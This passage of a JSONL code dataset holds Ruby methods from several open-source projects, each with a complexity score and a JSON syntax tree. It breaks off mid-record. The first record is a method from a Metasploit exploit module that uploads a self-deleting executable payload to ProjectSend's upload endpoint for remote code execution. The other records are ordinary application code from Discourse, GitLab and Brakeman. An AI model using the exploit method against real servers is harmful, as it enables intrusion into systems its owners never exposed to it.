{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/projectsend_unauth_rce.rb","start_line":287,"raw_source":"def upload_file(username, password, filename)\n    login(username, password)\n\n    # Craft the payload\n    payload = get_write_exec_payload(unlink_self: true)\n    data = Rex::MIME::Message.new\n    data.add_part(filename, nil, nil, 'form-data; name=\"name\"')\n    data.add_part(payload, 'application/octet-stream', nil, \"form-data; name=\\\"file\\\"; filename=\\\"#{Rex::Text.rand_text_alphanumeric(8)}\\\"\")\n    post_data = data.to_s\n\n    # Upload the shell using a POST request\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(datastore['TARGETURI'], 'includes', 'upload.process.php'),\n      'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\n      'data' => post_data,\n      'keep_cookies' => true\n    })\n\n    # Check if the server confirms our upload as successful\n    if res && res.body.include?('\"OK\":1')\n      print_good(\"Successfully uploaded PHP file: #{filename}\")\n\n      json_response = res.get_json_document\n      @file_id = json_response.dig('info', 'id')\n\n      return res.headers['Date']\n    else\n      fail_with(Failure::Unknown, 'PHP file upload failed')\n    end\n  end","complexity_score":32.05,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"password\"]},{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"login\",{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[null,\"get_write_exec_payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unlink_self\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"name\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"file\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]},{\"type\":\"str\",\"children\":[\"includes\"]},{\"type\":\"str\",\"children\":[\"upload.process.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"post_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"\\\"OK\\\":1\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully uploaded PHP file: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"json_response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@file_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_response\"]},\"dig\",{\"type\":\"str\",\"children\":[\"info\"]},{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Date\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"PHP file upload failed\"]}]}]}]}]}","id":"28c0dfb0-c88c-45eb-9a62-34aa34869554"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/category_user.rb","start_line":234,"raw_source":"def self.muted_category_ids_query(user, include_direct: false)\n    query = Category\n    query = query.where.not(parent_category_id: nil) if !include_direct\n    query =\n      query\n        .joins(\"LEFT JOIN categories categories2 ON categories2.id = categories.parent_category_id\")\n        .joins(\n          \"LEFT JOIN category_users ON category_users.category_id = categories.id AND category_users.user_id = #{user.id}\",\n        )\n        .joins(\n          \"LEFT JOIN category_users category_users2 ON category_users2.category_id = categories2.id AND category_users2.user_id = #{user.id}\",\n        )\n\n    direct_category_muted_sql =\n      \"COALESCE(category_users.notification_level, #{CategoryUser.default_notification_level}) = #{CategoryUser.notification_levels[:muted]}\"\n    parent_category_muted_sql =\n      \"(category_users.id IS NULL AND COALESCE(category_users2.notification_level, #{CategoryUser.default_notification_level}) = #{notification_levels[:muted]})\"\n\n    conditions = [parent_category_muted_sql]\n    conditions.push(direct_category_muted_sql) if include_direct\n    if SiteSetting.max_category_nesting === 3\n      query =\n        query.joins(\n          \"LEFT JOIN categories categories3 ON categories3.id = categories2.parent_category_id\",\n        ).joins(\n          \"LEFT JOIN category_users category_users3 ON category_users3.category_id = categories3.id AND category_users3.user_id = #{user.id}\",\n        )\n      grandparent_category_muted_sql =\n        \"(category_users.id IS NULL AND category_users2.id IS NULL AND COALESCE(category_users3.notification_level, #{CategoryUser.default_notification_level}) = #{notification_levels[:muted]})\"\n      conditions.push(grandparent_category_muted_sql)\n    end\n\n    query.where(conditions.join(\" OR \"))\n  end","complexity_score":42.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"muted_category_ids_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwoptarg\",\"children\":[\"include_direct\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"const\",\"children\":[null,\"Category\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_direct\"]},\"!\"]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_category_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"joins\",{\"type\":\"str\",\"children\":[\"LEFT JOIN categories categories2 ON categories2.id = categories.parent_category_id\"]}]},\"joins\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LEFT JOIN category_users ON category_users.category_id = categories.id AND category_users.user_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]},\"joins\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LEFT JOIN category_users category_users2 ON category_users2.category_id = categories2.id AND category_users2.user_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"direct_category_muted_sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"COALESCE(category_users.notification_level, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CategoryUser\"]},\"default_notification_level\"]}]},{\"type\":\"str\",\"children\":[\") = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CategoryUser\"]},\"notification_levels\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"muted\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parent_category_muted_sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(category_users.id IS NULL AND COALESCE(category_users2.notification_level, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CategoryUser\"]},\"default_notification_level\"]}]},{\"type\":\"str\",\"children\":[\") = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notification_levels\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"muted\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"conditions\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_category_muted_sql\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_direct\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conditions\"]},\"push\",{\"type\":\"lvar\",\"children\":[\"direct_category_muted_sql\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_category_nesting\"]},\"===\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"joins\",{\"type\":\"str\",\"children\":[\"LEFT JOIN categories categories3 ON categories3.id = categories2.parent_category_id\"]}]},\"joins\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LEFT JOIN category_users category_users3 ON category_users3.category_id = categories3.id AND category_users3.user_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"grandparent_category_muted_sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(category_users.id IS NULL AND category_users2.id IS NULL AND COALESCE(category_users3.notification_level, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CategoryUser\"]},\"default_notification_level\"]}]},{\"type\":\"str\",\"children\":[\") = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notification_levels\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"muted\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conditions\"]},\"push\",{\"type\":\"lvar\",\"children\":[\"grandparent_category_muted_sql\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conditions\"]},\"join\",{\"type\":\"str\",\"children\":[\" OR \"]}]}]}]}]}","id":"7f9a007b-5e61-41b4-a18f-dce344f82d25"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/redis/multi_store.rb","start_line":199,"raw_source":"def readonly_pipeline?\n        Thread.current[:readonly_pipeline].present?\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"readonly_pipeline?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"readonly_pipeline\"]}]},\"present?\"]}]}","id":"a5328068-d3c4-4716-a353-6d00c74ab022"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-gamification/spec/jobs/update_scores_for_today_spec.rb","start_line":19,"raw_source":"def run_job\n    described_class.new.execute\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run_job\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\"]},\"execute\"]}]}","id":"a2eed6cb-5e2d-4cb9-8c0c-3b3ec3f5e896"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250829064230_add_bigint_foreign_keys_on_merge_requests_stage_one.rb","start_line":78,"raw_source":"def down\n    FOREIGN_KEYS.each do |fk|\n      remove_foreign_key_if_exists(\n        fk[:source_table],\n        fk[:target_table],\n        name: tmp_name(fk[:name]),\n        reverse_lock_order: true\n      )\n\n      unprepare_async_foreign_key_validation fk[:source_table], fk[:column], name: tmp_name(fk[:name])\n    end\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FOREIGN_KEYS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source_table\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target_table\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"tmp_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"unprepare_async_foreign_key_validation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source_table\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"column\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"tmp_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}]}]}]}","id":"f05a603e-171b-4937-a363-d050f3bd0ce2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/bulk_imports/entity.rb","start_line":236,"raw_source":"def propagate_cancel\n    trackers.each(&:cancel)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"propagate_cancel\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trackers\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"cancel\"]}]}]}]}","id":"f1bd0b59-fcf3-4d88-bcba-7ed239c243a8"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/alias_processor.rb","start_line":1236,"raw_source":"def process_helper_method method_exp, args\n    method_name = method_exp.method_name\n    Brakeman.debug \"Processing method #{method_name}\"\n\n    info = @helper_method_info[method_name]\n\n    #If method uses instance variables, then include those and request\n    #variables (params, etc) in the method environment. Otherwise,\n    #only include request variables.\n    if info[:uses_ivars]\n      meth_env = only_ivars(:include_request_vars)\n    else\n      meth_env = only_request_vars\n    end\n\n    #Add arguments to method environment\n    assign_args method_exp, args, meth_env\n\n\n    #Find return values if method does not depend on environment/args\n    values = @helper_method_cache[method_name]\n\n    unless values\n      #Serialize environment for cache key\n      meth_values = meth_env.instance_variable_get(:@env).to_a\n      meth_values.sort!\n      meth_values = meth_values.to_s\n\n      digest = Digest::SHA1.new.update(meth_values << method_name.to_s).to_s.to_sym\n\n      values = @helper_method_cache[digest]\n    end\n\n    if values\n      #Use values from cache\n      values[:ivar_values].each do |var, val|\n        env[var] = val\n      end\n\n      values[:return_value]\n    else\n      #Find return value for method\n      frv = Brakeman::FindReturnValue.new\n      value = frv.get_return_value(method_exp.body_list, meth_env)\n\n      ivars = {}\n\n      only_ivars(false, meth_env).all.each do |var, val|\n        env[var] = val\n        ivars[var] = val\n      end\n\n      if not frv.uses_ivars? and args.length == 0\n        #Store return value without ivars and args if they are not used\n        @helper_method_cache[method_exp.method_name] = { :return_value => value, :ivar_values => ivars }\n      else\n        @helper_method_cache[digest] = { :return_value => value, :ivar_values => ivars }\n      end\n\n      #Store information about method, just ivar usage for now\n      @helper_method_info[method_name] = { :uses_ivars => frv.uses_ivars? }\n\n      value\n    end\n  end","complexity_score":76.1,"ast_json":"{\"type\":\"def\",\"children\":[\"process_helper_method\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_exp\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_exp\"]},\"method_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Processing method \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@helper_method_info\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"method_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uses_ivars\"]}]},{\"type\":\"lvasgn\",\"children\":[\"meth_env\",{\"type\":\"send\",\"children\":[null,\"only_ivars\",{\"type\":\"sym\",\"children\":[\"include_request_vars\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"meth_env\",{\"type\":\"send\",\"children\":[null,\"only_request_vars\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assign_args\",{\"type\":\"lvar\",\"children\":[\"method_exp\"]},{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"meth_env\"]}]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@helper_method_cache\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"method_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"meth_values\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meth_env\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@env\"]}]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meth_values\"]},\"sort!\"]},{\"type\":\"lvasgn\",\"children\":[\"meth_values\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meth_values\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"digest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA1\"]},\"new\"]},\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meth_values\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]},\"to_s\"]}]}]},\"to_s\"]},\"to_sym\"]}]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@helper_method_cache\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"digest\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ivar_values\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"var\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"var\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"return_value\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"frv\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"FindReturnValue\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frv\"]},\"get_return_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_exp\"]},\"body_list\"]},{\"type\":\"lvar\",\"children\":[\"meth_env\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ivars\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"only_ivars\",{\"type\":\"false\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"meth_env\"]}]},\"all\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"var\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"var\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ivars\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"var\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frv\"]},\"uses_ivars?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@helper_method_cache\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_exp\"]},\"method_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"return_value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ivar_values\"]},{\"type\":\"lvar\",\"children\":[\"ivars\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@helper_method_cache\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"digest\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"return_value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ivar_values\"]},{\"type\":\"lvar\",\"children\":[\"ivars\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@helper_method_info\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"method_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uses_ivars\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frv\"]},\"uses_ivars?\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"1def2a15-99ee-4c8f-abaf-053bf2c3ce32"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/asset_processor.rb","start_line":143,"raw_source":"def module_name(root_path, logical_path)\n    path = nil\n\n    root_base = File.basename(Rails.root)\n    # If the resource is a plugin, use the plugin name as a prefix\n    if root_path =~ %r{(.*/#{root_base}/plugins/[^/]+)/}\n      plugin_path = \"#{Regexp.last_match[1]}/plugin.rb\"\n\n      plugin = Discourse.plugins.find { |p| p.path == plugin_path }\n      path = \"discourse/plugins/#{plugin.name}/#{logical_path.sub(%r{javascripts/}, \"\")}\" if plugin\n    end\n\n    # We need to strip the app subdirectory to replicate how ember-cli works.\n    path || logical_path&.gsub(\"app/\", \"\")&.gsub(\"addon/\", \"\")&.gsub(\"admin/addon\", \"admin\")\n  end","complexity_score":27.45,"ast_json":"{\"type\":\"def\",\"children\":[\"module_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"root_path\"]},{\"type\":\"arg\",\"children\":[\"logical_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"root_base\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root_path\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(.*/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root_base\"]}]},{\"type\":\"str\",\"children\":[\"/plugins/[^/]+)/\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plugin_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":